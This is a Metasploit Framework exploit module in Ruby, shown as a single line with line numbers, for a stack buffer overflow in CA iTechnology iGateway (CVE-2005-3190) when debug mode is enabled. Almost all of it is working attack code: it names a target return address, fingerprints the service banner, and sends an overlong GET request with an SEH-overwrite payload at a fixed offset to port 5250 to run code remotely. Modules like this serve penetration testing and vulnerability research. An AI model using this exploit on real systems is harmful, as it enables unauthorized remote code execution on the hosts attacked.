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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | ## # $Id: ca_igateway_debug.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability in the Computer Associates iTechnology iGateway component. When <Debug>True</Debug> is enabled in igateway.conf (non-default), it is possible to overwrite the stack and execute code remotely. This module works best with Ordinal payloads. }, 'Author' => 'patrick', 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9179 $', 'References' => [ [ 'CVE', '2005-3190' ], [ 'OSVDB', '19920' ], [ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ], [ 'URL', 'http://www.milw0rm.com/exploits/1243' ], [ 'BID', '15025' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload'=> { 'Space'=> 1024, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, 'Compat' => { 'ConnectionType' => '+ws2ord', }, }, 'Platform' => 'win', 'Targets'=> [ [ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll ], 'Privileged' => true, 'DisclosureDate' => 'Oct 06 2005', 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(5250), ], self.class) end def check connect sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n") banner = sock.get(-1,3) if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique? return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect seh = generate_seh_payload(target.ret) buffer = Rex::Text.rand_text_alphanumeric(5000) buffer[1082, seh.length] = seh sploit = "GET /" + buffer + " HTTP/1.0" sock.put(sploit + "\r\n\r\n\r\n") disconnect handler end end |
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